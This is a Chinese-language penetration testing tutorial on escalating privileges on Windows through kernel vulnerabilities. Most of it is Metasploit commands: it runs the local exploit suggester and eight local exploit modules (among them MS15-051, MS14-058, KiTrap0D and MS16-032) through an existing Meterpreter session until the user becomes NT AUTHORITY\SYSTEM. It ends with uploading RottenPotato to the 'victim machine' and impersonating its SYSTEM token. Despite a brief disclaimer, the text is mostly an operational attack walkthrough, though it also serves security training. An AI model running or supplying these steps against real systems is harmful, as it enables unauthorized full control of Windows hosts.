Windows內(nèi)核漏洞利用提權教程 PS. 本文僅限于技術討論,嚴禁用于其他用途。 繼上一篇“使用自動化腳本進行Windows提權”,本文將介紹有關Windows內(nèi)核漏洞提權的方法。我將使用內(nèi)置的Metasploit模塊作為演示。通過本文的學習,你將了解系統(tǒng)的哪些部分可被利用,并匹配最佳可利用模塊進一步的提升權限。 Windows-Exploit-suggesterMetasploit內(nèi)置模塊提供了各種可用于提權的local exploits,并會基于架構,平臺(即運行的操作系統(tǒng)),會話類型和所需默認選項提供建議。這極大的節(jié)省了我們的時間,省去了我們手動搜索local exploits的麻煩。雖說如此,但也并非所有列出的local exploits都可用。所以,無論是漏洞利用還是查找最好的辦法就是自動結合手動。 用法注:要使用local exploit suggester,我們必須已在目標機器上獲取到了一個Meterpreter session。在運行Local Exploit suggester之前,我們需要將現(xiàn)有的Meterpreter session調到后臺運行(CTRL + Z) 示例,假設我們現(xiàn)在有一個Meterpreter session 1 use post/multi/recon/local_exploit_suggesterset LHOST 192.168.1.107set SESSION 1exploit如下圖所示,它自動的為我們匹配出了一些可能的用于易受攻擊目標提權的漏洞利用模塊。 Windows ClientCopyImage Win32k ExploitWindows內(nèi)核模式驅動程序特權提升漏洞。此模塊利用了win32k.sys內(nèi)核模式驅動程序中的不正確對象處理進行提權。 該模塊已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻擊版本上進行了測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms15_051_client_copy_imageset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  Windows TrackPopupMenu Win32k NULL指針解引用此模塊利用了win32k.sys中的NULL指針解引用,漏洞可通過TrackPopupMenu函數(shù)進行觸發(fā)。在特殊情況下,我們可以濫用在xxxSendMessageTimeout上的NULL指針解引用,來實現(xiàn)任意代碼執(zhí)行操作。 該模塊已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上進行了測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms14_058_track_popup_menuset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  通過KiTrap0D提升Windows權限此模塊將通過KiTrap0D exploit創(chuàng)建具有SYSTEM權限的新會話,如果當前使用的會話權限已提升,則exploit將不會運行。該模塊依賴于kitrap0d.x86.dll,因此在x64版本的Windows上不受支持。 該模塊已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻擊版本上進行了測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms10_015_kitrap0dset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  Task Scheduler XML提權此漏洞發(fā)生在Task Scheduler中,可允許用戶提升權限。如果攻擊者登錄到受影響的系統(tǒng),并運行特制應用程序,則該漏洞可能允許特權提升。攻擊者必須擁有有效的登錄憑據(jù),并且能夠在本地登錄才能成功利用此漏洞。遠程或匿名用戶則無法利用此漏洞。 該模塊已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻擊版本上進行了測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms10_092_schelevatorset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  MS16-016 mrxdav.sys WebDav本地提權此模塊利用了mrxdav.sys中的漏洞。其將在目標系統(tǒng)生成一個進程,并在執(zhí)行payload之前將其權限提升到NT AUTHORITY\SYSTEM。 該模塊已在Windows 7 SP1,x86架構的易受攻擊版本上進行了測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms16_016_webdavset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  EPATHOBJ::pprFlattenRec本地提權此模塊利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要問題出在使用了未初始化的數(shù)據(jù)(即允許損壞內(nèi)存)。 目前,該模塊已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功進行了測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ppr_flatten_recset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  MS13-053 : NTUserMessageCall Win32k內(nèi)核池溢出Win32k中的內(nèi)核池溢出漏洞,可允許本地用戶提權。內(nèi)核shellcode使winlogon.exe進程的ACL為NULL(SYSTEM進程)。這將允許任何非特權進程自由遷移到winlogon.exe,從而提升用戶權限。注意:退出meterpreter會話時,可能會導致winlogon.exe崩潰。 目前,該模塊已在Windows 7 SP1 x86上成功測試。 讓我們轉到MSF控制臺并執(zhí)行該漏洞的exploit模塊 use exploit/windows/local/ms13_053_ schlampereiset lhost 192.168.1.107set session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  MS16-032 Secondary Logon Handle提權此模塊利用了Windows Secondary Logon Service中缺少標準句柄過濾的問題。該漏洞主要影響Windows 7-10和2k8-2k12 32/64位版本。此模塊僅適用于具有Powershell 2.0或更高版本的Windows系統(tǒng),以及具有至少兩個或以上CPU內(nèi)核的系統(tǒng)。 use exploit/windows/local/ms16_032_secondary_logon_handle_privescset session 1exploit一旦exploit成功執(zhí)行,就會打開另一個Meterpreter session getsystemgetuid可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM  RottenPotato使用RottenPotato將服務帳戶本地提權至SYSTEM。 首先,我們在meterpreter會話中使用以下選項查看當前系統(tǒng)上是否存在任何有效tokens。 load incognitolist_token -u可以看到,當前并沒有任何token可用。 
現(xiàn)在,我們從github下載Rottenpotato。 git clone https://github.com/foxglovesec/RottenPotato.gitcd RottenPotato下載完成后我們會在Rottenpotato目錄下,看到一個rottenpotato.exe文件。 將該文件上傳至受害者機器。 upload /root/Desktop/RottenPotato/rottenpotato.exe .
然后,鍵入以下命令執(zhí)行該exe文件,并將SYSTEM token添加到impersonate user tokens下。 execute -Hc -f rottenpotato.exeimpersonate_token "NT AUTHORITY\\SYSTEM"可以看到,我們當前的用戶權限已提升為了NT AUTHORITY\SYSTEM 
|